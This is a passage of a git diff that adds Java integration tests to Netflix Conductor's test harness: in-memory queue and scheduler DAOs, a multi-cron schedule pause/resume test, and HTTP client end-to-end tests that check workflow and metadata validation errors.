queue.poll(Math.min(timeout, 200), TimeUnit.MILLISECONDS); + if (id != null) result.add(id); + } catch (InterruptedException e) { + Thread.currentThread().interrupt(); + } + } + return result; + } + + @Override + public List pollMessages(String queueName, int count, int timeout) { + return pop(queueName, count, timeout).stream() + .map(id -> new Message(id, null, null)) + .collect(Collectors.toList()); + } + + @Override + public void remove(String queueName, String messageId) { + q(queueName).remove(messageId); + } + + @Override + public int getSize(String queueName) { + return q(queueName).size(); + } + + @Override + public boolean ack(String queueName, String messageId) { + q(queueName).remove(messageId); + return true; + } + + @Override + public boolean setUnackTimeout(String queueName, String messageId, long unackTimeout) { + return true; + } + + @Override + public void flush(String queueName) { + q(queueName).clear(); + } + + @Override + public Map queuesDetail() { + Map result = new HashMap<>(); + queues.forEach((k, v) -> result.put(k, (long) v.size())); + return result; + } + + @Override + public Map>> queuesDetailVerbose() { + return new HashMap<>(); + } + + @Override + public boolean resetOffsetTime(String queueName, String id) { + return q(queueName).contains(id); + } + + @Override + public boolean containsMessage(String queueName, String messageId) { + return q(queueName).contains(messageId); + } + } + + /** Simple in-memory SchedulerDAO. Keyed by name/id. */ + static class InMemorySchedulerDAO implements SchedulerDAO { + + private final ConcurrentHashMap schedules = + new ConcurrentHashMap<>(); + private final ConcurrentHashMap executions = + new ConcurrentHashMap<>(); + private final ConcurrentHashMap nextRunTimes = new ConcurrentHashMap<>(); + + @Override + public void updateSchedule(WorkflowScheduleModel schedule) { + schedules.put(schedule.getName(), schedule); + } + + @Override + public void saveExecutionRecord(WorkflowScheduleExecutionModel model) { + executions.put(model.getExecutionId(), model); + } + + @Override + public WorkflowScheduleExecutionModel readExecutionRecord(String executionId) { + return executions.get(executionId); + } + + @Override + public void removeExecutionRecord(String executionId) { + executions.remove(executionId); + } + + @Override + public WorkflowScheduleModel findScheduleByName(String name) { + return schedules.get(name); + } + + @Override + public List findAllSchedules(String workflowName) { + return schedules.values().stream() + .filter( + s -> + workflowName == null + || workflowName.equals( + s.getStartWorkflowRequest().getName())) + .collect(Collectors.toList()); + } + + @Override + public void deleteWorkflowSchedule(String name) { + schedules.remove(name); + } + + @Override + public List getPendingExecutionRecordIds() { + return new ArrayList<>(executions.keySet()); + } + + @Override + public List getAllSchedules() { + return new ArrayList<>(schedules.values()); + } + + @Override + public Map findAllByNames(Set names) { + Map result = new HashMap<>(); + for (String name : names) { + WorkflowScheduleModel s = schedules.get(name); + if (s != null) result.put(name, s); + } + return result; + } + + @Override + public long getNextRunTimeInEpoch(String scheduleName) { + return nextRunTimes.getOrDefault(scheduleName, -1L); + } + + @Override + public void setNextRunTimeInEpoch(String name, long toEpochMilli) { + nextRunTimes.put(name, toEpochMilli); + } + + @Override + public SearchResult searchSchedules( + String workflowName, + String scheduleName, + Boolean paused, + String freeText, + int start, + int size, + List sortOptions) { + List filtered = + schedules.values().stream() + .filter( + s -> + workflowName == null + || workflowName.equals( + s.getStartWorkflowRequest().getName())) + .filter(s -> scheduleName == null || s.getName().contains(scheduleName)) + .filter(s -> paused == null || s.isPaused() == paused) + .sorted(Comparator.comparing(WorkflowScheduleModel::getName)) + .collect(Collectors.toList()); + int total = filtered.size(); + int end = Math.min(start + size, total); + List page = + start < total ? filtered.subList(start, end) : Collections.emptyList(); + return new SearchResult<>(total, page); + } + + /** Returns all execution records for a given schedule name. */ + List getExecutionsForSchedule(String scheduleName) { + return executions.values().stream() + .filter(r -> scheduleName.equals(r.getScheduleName())) + .collect(Collectors.toList()); + } + } + + /** + * In-memory archival DAO that stores execution records for test verification. The scheduler's + * archival thread moves records from SchedulerDAO to this DAO after each fire. + */ + static class TrackingSchedulerArchivalDAO implements SchedulerArchivalDAO { + + private final ConcurrentHashMap records = + new ConcurrentHashMap<>(); + + @Override + public void saveExecutionRecord(WorkflowScheduleExecutionModel model) { + records.put(model.getExecutionId(), model); + } + + @Override + public SearchResult searchScheduledExecutions( + String query, String freeText, int start, int count, List sort) { + List ids = new ArrayList<>(records.keySet()); + return new SearchResult<>(ids.size(), ids); + } + + @Override + public Map getExecutionsByIds( + Set executionIds) { + Map result = new HashMap<>(); + for (String id : executionIds) { + WorkflowScheduleExecutionModel m = records.get(id); + if (m != null) result.put(id, m); + } + return result; + } + + @Override + public WorkflowScheduleExecutionModel getExecutionById(String executionId) { + return records.get(executionId); + } + + @Override + public void cleanupOldRecords(int archivalMaxRecords, int archivalMaxRecordThreshold) {} + + long countByScheduleName(String scheduleName) { + return records.values().stream() + .filter(r -> scheduleName.equals(r.getScheduleName())) + .count(); + } + } + + // ========================================================================= + // Injected beans and HTTP client fields + // ========================================================================= + + @Autowired private SchedulerDAO schedulerDAO; + @Autowired private SchedulerArchivalDAO schedulerArchivalDAO; + + @LocalServerPort private int port; + + private String apiRoot; + private RestTemplate restTemplate; + private ObjectMapper objectMapper; + + @Before + public void init() { + apiRoot = String.format("http://localhost:%d/api/", port); + restTemplate = new RestTemplate(); + objectMapper = new ObjectMapper(); + } + + // ========================================================================= + // REST helpers + // ========================================================================= + + private void postJson(String path, Object body) throws Exception { + HttpHeaders headers = new HttpHeaders(); + headers.setContentType(MediaType.APPLICATION_JSON); + String json = objectMapper.writeValueAsString(body); + HttpEntity entity = new HttpEntity<>(json, headers); + restTemplate.postForEntity(apiRoot + path, entity, String.class); + } + + private void put(String path) { + restTemplate.exchange(apiRoot + path, HttpMethod.PUT, HttpEntity.EMPTY, Void.class); + } + + private T get(String path, Class type) { + return restTemplate.getForObject(apiRoot + path, type); + } + + private void delete(String path) { + restTemplate.delete(apiRoot + path); + } + + /** + * Counts execution records that have been archived for the given schedule name. The scheduler + * fires a cron, saves an execution record to SchedulerDAO, then the archival thread moves it to + * the SchedulerArchivalDAO. + */ + private long countExecutionRecords(String scheduleName) { + return ((TrackingSchedulerArchivalDAO) schedulerArchivalDAO) + .countByScheduleName(scheduleName); + } + + // ========================================================================= + // Test: multi-cron schedule — create, verify fires, pause, resume + // ========================================================================= + + @Test + public void testMultiCronSchedule_createPauseResume() throws Exception { + String scheduleName = "test-multi-cron-schedule"; + String workflowName = "scheduler_integration_test_wf"; + + // ── 1. Register a simple workflow so startWorkflow succeeds ── + Map taskDef = new HashMap<>(); + taskDef.put("name", "sched_test_task"); + taskDef.put("ownerEmail", "test@test.com"); + taskDef.put("retryCount", 0); + taskDef.put("timeoutSeconds", 120); + taskDef.put("responseTimeoutSeconds", 120); + postJson("metadata/taskdefs", List.of(taskDef)); + + Map wfDef = new HashMap<>(); + wfDef.put("name", workflowName); + wfDef.put("ownerEmail", "test@test.com"); + wfDef.put("schemaVersion", 2); + wfDef.put("timeoutPolicy", "ALERT_ONLY"); + wfDef.put("timeoutSeconds", 0); + Map task = new HashMap<>(); + task.put("name", "sched_test_task"); + task.put("taskReferenceName", "sched_test_ref"); + task.put("type", "SIMPLE"); + task.put("inputParameters", Map.of()); + wfDef.put("tasks", List.of(task)); + postJson("metadata/workflow", wfDef); + + // ── 2. Create schedule with 3 cron expressions (every 2 seconds each) ── + Map schedule = new HashMap<>(); + schedule.put("name", scheduleName); + schedule.put( + "cronSchedules", + List.of( + Map.of("cronExpression", "*/2 * * * * *", "zoneId", "UTC"), + Map.of("cronExpression", "*/2 * * * * *", "zoneId", "UTC"), + Map.of("cronExpression", "*/2 * * * * *", "zoneId", "UTC"))); + schedule.put("startWorkflowRequest", Map.of("name", workflowName, "version", 1)); + schedule.put("paused", false); + postJson("scheduler/schedules", schedule); + + // ── 3. Wait and verify all 3 crons fire ── + // Each cron fires every 2s. After ~10s we expect at least 3 total (one per cron). + await().atMost(15, TimeUnit.SECONDS) + .pollInterval(500, TimeUnit.MILLISECONDS) + .untilAsserted( + () -> { + long count = countExecutionRecords(scheduleName); + assertTrue( + "Expected at least 3 execution records (one per cron), got " + + count, + count >= 3); + }); + + long preFireCount = countExecutionRecords(scheduleName); + assertTrue("Expected multiple fires before pause, got " + preFireCount, preFireCount >= 3); + + // ── 4. Pause the schedule ── + put("scheduler/schedules/" + scheduleName + "/pause"); + + // Verify schedule is paused + String scheduleJson = get("scheduler/schedules/" + scheduleName, String.class); + assertTrue("Schedule should be paused", scheduleJson.contains("\"paused\":true")); + + // The scheduler may have a fire already in flight at the moment pause + // returns — the cron tick was dispatched before the pause flag flipped, + // and the resulting execution record is written a beat later. Wait + // long enough for any such in-flight fire (and one more cron tick at + // the */2s cadence) to land before snapshotting, otherwise the + // snapshot races the in-flight write and the equality check below + // sees a spurious +1. + Thread.sleep(3000); + long countAtPause = countExecutionRecords(scheduleName); + Thread.sleep(4000); + long countAfterPauseWait = countExecutionRecords(scheduleName); + assertEquals( + "No new executions should occur while paused", countAtPause, countAfterPauseWait); + + // ── 5. Resume the schedule ── + put("scheduler/schedules/" + scheduleName + "/resume"); + + // Verify schedule is unpaused + scheduleJson = get("scheduler/schedules/" + scheduleName, String.class); + assertTrue("Schedule should be unpaused", scheduleJson.contains("\"paused\":false")); + + // Wait for new executions after resume + await().atMost(15, TimeUnit.SECONDS) + .pollInterval(500, TimeUnit.MILLISECONDS) + .untilAsserted( + () -> { + long count = countExecutionRecords(scheduleName); + assertTrue( + "Expected new executions after resume, had " + + countAfterPauseWait + + " at pause, now " + + count, + count > countAfterPauseWait); + }); + + // ── 6. Cleanup ── + delete("scheduler/schedules/" + scheduleName); + assertNull("Schedule should be deleted", schedulerDAO.findScheduleByName(scheduleName)); + } +} diff --git a/test-harness/src/test/java/com/netflix/conductor/test/integration/http/TestHarnessAbstractHttpEndToEndTest.java b/test-harness/src/test/java/com/netflix/conductor/test/integration/http/TestHarnessAbstractHttpEndToEndTest.java new file mode 100644 index 0000000..96cd7f9 --- /dev/null +++ b/test-harness/src/test/java/com/netflix/conductor/test/integration/http/TestHarnessAbstractHttpEndToEndTest.java @@ -0,0 +1,527 @@ +/* + * Copyright 2020 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package com.netflix.conductor.test.integration.http; + +import java.util.ArrayList; +import java.util.HashMap; +import java.util.Iterator; +import java.util.List; +import java.util.stream.Collectors; + +import org.junit.Test; +import org.junit.runner.RunWith; +import org.springframework.boot.test.context.SpringBootTest; +import org.springframework.boot.test.context.SpringBootTest.WebEnvironment; +import org.springframework.boot.test.web.server.LocalServerPort; +import org.springframework.test.context.TestPropertySource; +import org.springframework.test.context.junit4.SpringRunner; + +import com.netflix.conductor.ConductorTestApp; +import com.netflix.conductor.client.exception.ConductorClientException; +import com.netflix.conductor.client.http.EventClient; +import com.netflix.conductor.client.http.MetadataClient; +import com.netflix.conductor.client.http.TaskClient; +import com.netflix.conductor.client.http.WorkflowClient; +import com.netflix.conductor.common.metadata.events.EventHandler; +import com.netflix.conductor.common.metadata.tasks.Task; +import com.netflix.conductor.common.metadata.tasks.Task.Status; +import com.netflix.conductor.common.metadata.tasks.TaskDef; +import com.netflix.conductor.common.metadata.tasks.TaskResult; +import com.netflix.conductor.common.metadata.tasks.TaskType; +import com.netflix.conductor.common.metadata.workflow.StartWorkflowRequest; +import com.netflix.conductor.common.metadata.workflow.WorkflowDef; +import com.netflix.conductor.common.metadata.workflow.WorkflowTask; +import com.netflix.conductor.common.run.SearchResult; +import com.netflix.conductor.common.run.TaskSummary; +import com.netflix.conductor.common.run.Workflow; +import com.netflix.conductor.common.run.Workflow.WorkflowStatus; +import com.netflix.conductor.common.run.WorkflowSummary; +import com.netflix.conductor.common.validation.ValidationError; +import com.netflix.conductor.test.integration.TestHarnessAbstractEndToEndTest; + +import static org.junit.Assert.assertEquals; +import static org.junit.Assert.assertFalse; +import static org.junit.Assert.assertNotNull; +import static org.junit.Assert.assertTrue; +import static org.junit.Assert.fail; + +@RunWith(SpringRunner.class) +@SpringBootTest(webEnvironment = WebEnvironment.RANDOM_PORT, classes = ConductorTestApp.class) +@TestPropertySource(locations = "classpath:application-integrationtest.properties") +public abstract class TestHarnessAbstractHttpEndToEndTest extends TestHarnessAbstractEndToEndTest { + + @LocalServerPort protected int port; + + protected static String apiRoot; + + protected static TaskClient taskClient; + protected static WorkflowClient workflowClient; + protected static MetadataClient metadataClient; + protected static EventClient eventClient; + + @Override + protected String startWorkflow(String workflowExecutionName, WorkflowDef workflowDefinition) { + StartWorkflowRequest workflowRequest = + new StartWorkflowRequest() + .withName(workflowExecutionName) + .withWorkflowDef(workflowDefinition); + + return workflowClient.startWorkflow(workflowRequest); + } + + @Override + protected Workflow getWorkflow(String workflowId, boolean includeTasks) { + return workflowClient.getWorkflow(workflowId, includeTasks); + } + + @Override + protected TaskDef getTaskDefinition(String taskName) { + return metadataClient.getTaskDef(taskName); + } + + @Override + protected void registerTaskDefinitions(List taskDefinitionList) { + metadataClient.registerTaskDefs(taskDefinitionList); + } + + @Override + protected void registerWorkflowDefinition(WorkflowDef workflowDefinition) { + metadataClient.registerWorkflowDef(workflowDefinition); + } + + @Override + protected void registerEventHandler(EventHandler eventHandler) { + eventClient.registerEventHandler(eventHandler); + } + + @Override + protected Iterator getEventHandlers(String event, boolean activeOnly) { + return eventClient.getEventHandlers(event, activeOnly).iterator(); + } + + @Test + public void testAll() throws Exception { + createAndRegisterTaskDefinitions("t", 5); + + WorkflowDef def = new WorkflowDef(); + def.setName("test"); + def.setOwnerEmail(DEFAULT_EMAIL_ADDRESS); + WorkflowTask t0 = new WorkflowTask(); + t0.setName("t0"); + t0.setWorkflowTaskType(TaskType.SIMPLE); + t0.setTaskReferenceName("t0"); + + WorkflowTask t1 = new WorkflowTask(); + t1.setName("t1"); + t1.setWorkflowTaskType(TaskType.SIMPLE); + t1.setTaskReferenceName("t1"); + + def.getTasks().add(t0); + def.getTasks().add(t1); + + metadataClient.registerWorkflowDef(def); + WorkflowDef workflowDefinitionFromSystem = + metadataClient.getWorkflowDef(def.getName(), null); + assertNotNull(workflowDefinitionFromSystem); + assertEquals(def, workflowDefinitionFromSystem); + + String correlationId = "test_corr_id"; + StartWorkflowRequest startWorkflowRequest = + new StartWorkflowRequest() + .withName(def.getName()) + .withCorrelationId(correlationId) + .withPriority(50) + .withInput(new HashMap<>()); + String workflowId = workflowClient.startWorkflow(startWorkflowRequest); + assertNotNull(workflowId); + + Workflow workflow = workflowClient.getWorkflow(workflowId, false); + assertEquals(0, workflow.getTasks().size()); + assertEquals(workflowId, workflow.getWorkflowId()); + + workflow = workflowClient.getWorkflow(workflowId, true); + assertNotNull(workflow); + assertEquals(WorkflowStatus.RUNNING, workflow.getStatus()); + assertEquals(1, workflow.getTasks().size()); + assertEquals(t0.getTaskReferenceName(), workflow.getTasks().get(0).getReferenceTaskName()); + assertEquals(workflowId, workflow.getWorkflowId()); + + int queueSize = taskClient.getQueueSizeForTask(workflow.getTasks().get(0).getTaskType()); + assertEquals(1, queueSize); + + List runningIds = + workflowClient.getRunningWorkflow(def.getName(), def.getVersion()); + assertNotNull(runningIds); + assertEquals(1, runningIds.size()); + assertEquals(workflowId, runningIds.get(0)); + + List polled = + taskClient.batchPollTasksByTaskType("non existing task", "test", 1, 100); + assertNotNull(polled); + assertEquals(0, polled.size()); + + polled = taskClient.batchPollTasksByTaskType(t0.getName(), "test", 1, 100); + assertNotNull(polled); + assertEquals(1, polled.size()); + assertEquals(t0.getName(), polled.get(0).getTaskDefName()); + Task task = polled.get(0); + + task.getOutputData().put("key1", "value1"); + task.setStatus(Status.COMPLETED); + taskClient.updateTask(new TaskResult(task)); + + polled = taskClient.batchPollTasksByTaskType(t0.getName(), "test", 1, 100); + assertNotNull(polled); + assertTrue(polled.toString(), polled.isEmpty()); + + workflow = workflowClient.getWorkflow(workflowId, true); + assertNotNull(workflow); + assertEquals(WorkflowStatus.RUNNING, workflow.getStatus()); + assertEquals(2, workflow.getTasks().size()); + assertEquals(t0.getTaskReferenceName(), workflow.getTasks().get(0).getReferenceTaskName()); + assertEquals(t1.getTaskReferenceName(), workflow.getTasks().get(1).getReferenceTaskName()); + assertEquals(Task.Status.COMPLETED, workflow.getTasks().get(0).getStatus()); + assertEquals(Task.Status.SCHEDULED, workflow.getTasks().get(1).getStatus()); + + Task taskById = taskClient.getTaskDetails(task.getTaskId()); + assertNotNull(taskById); + assertEquals(task.getTaskId(), taskById.getTaskId()); + + queueSize = taskClient.getQueueSizeForTask(workflow.getTasks().get(1).getTaskType()); + assertEquals(1, queueSize); + + Thread.sleep(1000); + SearchResult searchResult = + workflowClient.search("workflowType='" + def.getName() + "'"); + assertNotNull(searchResult); + assertEquals(1, searchResult.getTotalHits()); + assertEquals(workflow.getWorkflowId(), searchResult.getResults().get(0).getWorkflowId()); + + SearchResult searchResultV2 = + workflowClient.searchV2("workflowType='" + def.getName() + "'"); + assertNotNull(searchResultV2); + assertEquals(1, searchResultV2.getTotalHits()); + assertEquals(workflow.getWorkflowId(), searchResultV2.getResults().get(0).getWorkflowId()); + + SearchResult searchResultAdvanced = + workflowClient.search(0, 1, null, null, "workflowType='" + def.getName() + "'"); + assertNotNull(searchResultAdvanced); + assertEquals(1, searchResultAdvanced.getTotalHits()); + assertEquals( + workflow.getWorkflowId(), searchResultAdvanced.getResults().get(0).getWorkflowId()); + + SearchResult searchResultV2Advanced = + workflowClient.searchV2(0, 1, null, null, "workflowType='" + def.getName() + "'"); + assertNotNull(searchResultV2Advanced); + assertEquals(1, searchResultV2Advanced.getTotalHits()); + assertEquals( + workflow.getWorkflowId(), + searchResultV2Advanced.getResults().get(0).getWorkflowId()); + + SearchResult taskSearchResult = + taskClient.search("taskType='" + t0.getName() + "'"); + assertNotNull(taskSearchResult); + assertEquals(1, searchResultV2Advanced.getTotalHits()); + assertEquals(t0.getName(), taskSearchResult.getResults().get(0).getTaskDefName()); + + SearchResult taskSearchResultAdvanced = + taskClient.search(0, 1, null, null, "taskType='" + t0.getName() + "'"); + assertNotNull(taskSearchResultAdvanced); + assertEquals(1, taskSearchResultAdvanced.getTotalHits()); + assertEquals(t0.getName(), taskSearchResultAdvanced.getResults().get(0).getTaskDefName()); + + SearchResult taskSearchResultV2 = + taskClient.searchV2("taskType='" + t0.getName() + "'"); + assertNotNull(taskSearchResultV2); + assertEquals(1, searchResultV2Advanced.getTotalHits()); + assertEquals( + t0.getTaskReferenceName(), + taskSearchResultV2.getResults().get(0).getReferenceTaskName()); + + SearchResult taskSearchResultV2Advanced = + taskClient.searchV2(0, 1, null, null, "taskType='" + t0.getName() + "'"); + assertNotNull(taskSearchResultV2Advanced); + assertEquals(1, taskSearchResultV2Advanced.getTotalHits()); + assertEquals( + t0.getTaskReferenceName(), + taskSearchResultV2Advanced.getResults().get(0).getReferenceTaskName()); + + workflowClient.terminateWorkflow(workflowId, "terminate reason"); + workflow = workflowClient.getWorkflow(workflowId, true); + assertNotNull(workflow); + assertEquals(WorkflowStatus.TERMINATED, workflow.getStatus()); + + workflowClient.restart(workflowId, false); + workflow = workflowClient.getWorkflow(workflowId, true); + assertNotNull(workflow); + assertEquals(WorkflowStatus.RUNNING, workflow.getStatus()); + assertEquals(1, workflow.getTasks().size()); + + workflowClient.skipTaskFromWorkflow(workflowId, "t1"); + } + + @Test(expected = ConductorClientException.class) + public void testMetadataWorkflowDefinition() { + String workflowDefName = "testWorkflowDefMetadata"; + WorkflowDef def = new WorkflowDef(); + def.setName(workflowDefName); + def.setVersion(1); + WorkflowTask t0 = new WorkflowTask(); + t0.setName("t0"); + t0.setWorkflowTaskType(TaskType.SIMPLE); + t0.setTaskReferenceName("t0"); + WorkflowTask t1 = new WorkflowTask(); + t1.setName("t1"); + t1.setWorkflowTaskType(TaskType.SIMPLE); + t1.setTaskReferenceName("t1"); + def.getTasks().add(t0); + def.getTasks().add(t1); + + metadataClient.registerWorkflowDef(def); + metadataClient.unregisterWorkflowDef(workflowDefName, 1); + + try { + metadataClient.getWorkflowDef(workflowDefName, 1); + } catch (ConductorClientException e) { + int statusCode = e.getStatus(); + String errorMessage = e.getMessage(); + boolean retryable = e.isRetryable(); + assertEquals(404, statusCode); + assertEquals( + "No such workflow found by name: testWorkflowDefMetadata, version: 1", + errorMessage); + assertFalse(retryable); + throw e; + } + } + + @Test(expected = ConductorClientException.class) + public void testInvalidResource() { + MetadataClient metadataClient = new MetadataClient(); + metadataClient.setRootURI(String.format("%sinvalid", apiRoot)); + WorkflowDef def = new WorkflowDef(); + def.setName("testWorkflowDel"); + def.setVersion(1); + try { + metadataClient.registerWorkflowDef(def); + } catch (ConductorClientException e) { + int statusCode = e.getStatus(); + boolean retryable = e.isRetryable(); + assertEquals(404, statusCode); + assertFalse(retryable); + throw e; + } + } + + @Test(expected = ConductorClientException.class) + public void testUpdateWorkflow() { + TaskDef taskDef = new TaskDef(); + taskDef.setName("taskUpdate"); + ArrayList tasks = new ArrayList<>(); + tasks.add(taskDef); + metadataClient.registerTaskDefs(tasks); + + WorkflowDef def = new WorkflowDef(); + def.setName("testWorkflowDel"); + def.setVersion(1); + WorkflowTask workflowTask = new WorkflowTask(); + workflowTask.setName("taskUpdate"); + workflowTask.setTaskReferenceName("taskUpdate"); + List workflowTaskList = new ArrayList<>(); + workflowTaskList.add(workflowTask); + def.setTasks(workflowTaskList); + List workflowList = new ArrayList<>(); + workflowList.add(def); + metadataClient.registerWorkflowDef(def); + + def.setVersion(2); + metadataClient.updateWorkflowDefs(workflowList); + WorkflowDef def1 = metadataClient.getWorkflowDef(def.getName(), 2); + assertNotNull(def1); + try { + metadataClient.getTaskDef("test"); + } catch (ConductorClientException e) { + int statuCode = e.getStatus(); + assertEquals(404, statuCode); + assertEquals("No such taskType found by name: test", e.getMessage()); + assertFalse(e.isRetryable()); + throw e; + } + } + + @Test + public void testStartWorkflow() { + StartWorkflowRequest startWorkflowRequest = new StartWorkflowRequest(); + try { + workflowClient.startWorkflow(startWorkflowRequest); + fail("StartWorkflow#name is null but NullPointerException was not thrown"); + } catch (NullPointerException e) { + assertEquals("Workflow name cannot be null or empty", e.getMessage()); + } catch (Exception e) { + fail("StartWorkflow#name is null but NullPointerException was not thrown"); + } + } + + @Test(expected = ConductorClientException.class) + public void testUpdateTask() { + TaskResult taskResult = new TaskResult(); + try { + taskClient.updateTask(taskResult); + } catch (ConductorClientException e) { + assertEquals(400, e.getStatus()); + assertEquals("Validation failed, check below errors for detail.", e.getMessage()); + assertFalse(e.isRetryable()); + List errors = e.getValidationErrors(); + List errorMessages = + errors.stream().map(ValidationError::getMessage).collect(Collectors.toList()); + assertEquals(2, errors.size()); + assertTrue(errorMessages.contains("Workflow Id cannot be null or empty")); + throw e; + } + } + + @Test(expected = ConductorClientException.class) + public void testGetWorfklowNotFound() { + try { + workflowClient.getWorkflow("w123", true); + } catch (ConductorClientException e) { + assertEquals(404, e.getStatus()); + assertEquals("No such workflow found by id: w123", e.getMessage()); + assertFalse(e.isRetryable()); + throw e; + } + } + + @Test(expected = ConductorClientException.class) + public void testEmptyCreateWorkflowDef() { + try { + WorkflowDef workflowDef = new WorkflowDef(); + metadataClient.registerWorkflowDef(workflowDef); + } catch (ConductorClientException e) { + assertEquals(400, e.getStatus()); + assertEquals("Validation failed, check below errors for detail.", e.getMessage()); + assertFalse(e.isRetryable()); + List errors = e.getValidationErrors(); + List errorMessages = + errors.stream().map(ValidationError::getMessage).collect(Collectors.toList()); + assertTrue(errorMessages.contains("WorkflowDef name cannot be null or empty")); + assertTrue(errorMessages.contains("WorkflowTask list cannot be empty")); + throw e; + } + } + + @Test(expected = ConductorClientException.class) + public void testUpdateWorkflowDef() { + try { + WorkflowDef workflowDef = new WorkflowDef(); + List workflowDefList = new ArrayList<>(); + workflowDefList.add(workflowDef); + metadataClient.updateWorkflowDefs(workflowDefList); + } catch (ConductorClientException e) { + assertEquals(400, e.getStatus()); + assertEquals("Validation failed, check below errors for detail.", e.getMessage()); + assertFalse(e.isRetryable()); + List errors = e.getValidationErrors(); + List errorMessages = + errors.stream().map(ValidationError::getMessage).collect(Collectors.toList()); + assertEquals(3, errors.size()); + assertTrue(errorMessages.contains("WorkflowTask list cannot be empty")); + assertTrue(errorMessages.contains("WorkflowDef name cannot be null or empty")); + assertTrue(errorMessages.contains("ownerEmail cannot be empty")); + throw e; + } + } + + @Test + public void testTaskByTaskId() { + try { + taskClient.getTaskDetails("test999"); + } catch (ConductorClientException e) { + assertEquals(404, e.getStatus()); + assertEquals("Task not found for taskId: test999", e.getMessage()); + } + } + + @Test + public void testListworkflowsByCorrelationId() { + workflowClient.getWorkflows("test", "test12", false, false); + } + + @Test(expected = ConductorClientException.class) + public void testCreateInvalidWorkflowDef() { + try { + WorkflowDef workflowDef = new WorkflowDef(); + List workflowDefList = new ArrayList<>(); + workflowDefList.add(workflowDef); + metadataClient.registerWorkflowDef(workflowDef); + } catch (ConductorClientException e) { + assertEquals(3, e.getValidationErrors().size()); + assertEquals(400, e.getStatus()); + assertEquals("Validation failed, check below errors for detail.", e.getMessage()); + assertFalse(e.isRetryable()); + List errors = e.getValidationErrors(); + List errorMessages = + errors.stream().map(ValidationError::getMessage).collect(Collectors.toList()); + assertTrue(errorMessages.contains("WorkflowDef name cannot be null or empty")); + assertTrue(errorMessages.contains("WorkflowTask list cannot be empty")); + assertTrue(errorMessages.contains("ownerEmail cannot be empty")); + throw e; + } + } + + @Test(expected = ConductorClientException.class) + public void testUpdateTaskDefNameNull() { + TaskDef taskDef = new TaskDef(); + try { + metadataClient.updateTaskDef(taskDef); + } catch (ConductorClientException e) { + assertEquals(2, e.getValidationErrors().size()); + assertEquals(400, e.getStatus()); + assertEquals("Validation failed, check below errors for detail.", e.getMessage()); + assertFalse(e.isRetryable()); + List errors = e.getValidationErrors(); + List errorMessages = + errors.stream().map(ValidationError::getMessage).collect(Collectors.toList()); + assertTrue(errorMessages.contains("TaskDef name cannot be null or empty")); + assertTrue(errorMessages.contains("ownerEmail cannot be empty")); + throw e; + } + } + + @Test(expected = ConductorClientException.class) + public void testGetTaskDefNotExisting() { + metadataClient.getTaskDef(""); + } + + @Test(expected = ConductorClientException.class) + public void testUpdateWorkflowDefNameNull() { + WorkflowDef workflowDef = new WorkflowDef(); + List list = new ArrayList<>(); + list.add(workflowDef); + try { + metadataClient.updateWorkflowDefs(list); + } catch (ConductorClientException e) { + assertEquals(3, e.getValidationErrors().size()); + assertEquals(400, e.getStatus()); + assertEquals("Validation failed, check below errors for detail.", e.getMessage()); + assertFalse(e.isRetryable()); + List errors = e.getValidationErrors(); + List errorMessages = + errors.stream().map(ValidationError::getMessage).collect(Collectors.toList()); + assertTrue(errorMessages.contains("WorkflowDef name cannot be null or empty")); + assertTrue(errorMessages.contains("WorkflowTask list cannot be empty")); + assertTrue(errorMessages.contains("ownerEmail cannot be empty")); + throw e; + } + } +} diff --git a/test-harness/src/test/java/com/netflix/conductor/test/integration/http/functional/FunctionalTestBase.java b/test-harness/src/test/java/com/netflix/conductor/test/integration/http/functional/FunctionalTestBase.java new file mode 100644 index 0000000..8b2a129 --- /dev/null +++ b/test-harness/src/test/java/com/netflix/conductor/test/integration/http/functional/FunctionalTestBase.java @@ -0,0 +1,148 @@ +/* + * Copyright 2024 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package com.netflix.conductor.test.integration.http.functional; + +import java.util.List; +import java.util.Map; + +import org.junit.Before; +import org.junit.runner.RunWith; +import org.slf4j.Logger; +import org.slf4j.LoggerFactory; +import org.springframework.boot.test.context.SpringBootTest; +import org.springframework.boot.test.context.SpringBootTest.WebEnvironment; +import org.springframework.boot.test.web.server.LocalServerPort; +import org.springframework.test.context.DynamicPropertyRegistry; +import org.springframework.test.context.DynamicPropertySource; +import org.springframework.test.context.TestPropertySource; +import org.springframework.test.context.junit4.SpringRunner; +import org.testcontainers.containers.GenericContainer; +import org.testcontainers.elasticsearch.ElasticsearchContainer; +import org.testcontainers.utility.DockerImageName; + +import com.netflix.conductor.ConductorTestApp; +import com.netflix.conductor.client.http.EventClient; +import com.netflix.conductor.client.http.MetadataClient; +import com.netflix.conductor.client.http.TaskClient; +import com.netflix.conductor.client.http.WorkflowClient; +import com.netflix.conductor.common.metadata.tasks.Task; +import com.netflix.conductor.common.metadata.tasks.TaskDef; +import com.netflix.conductor.common.metadata.tasks.TaskResult; +import com.netflix.conductor.common.metadata.tasks.TaskType; +import com.netflix.conductor.common.metadata.workflow.WorkflowTask; + +import static org.junit.Assert.assertFalse; + +/** + * Base class for functional (e2e-style) tests that run against a real Conductor server with Redis + * persistence and Elasticsearch indexing, all managed via TestContainers. + * + *

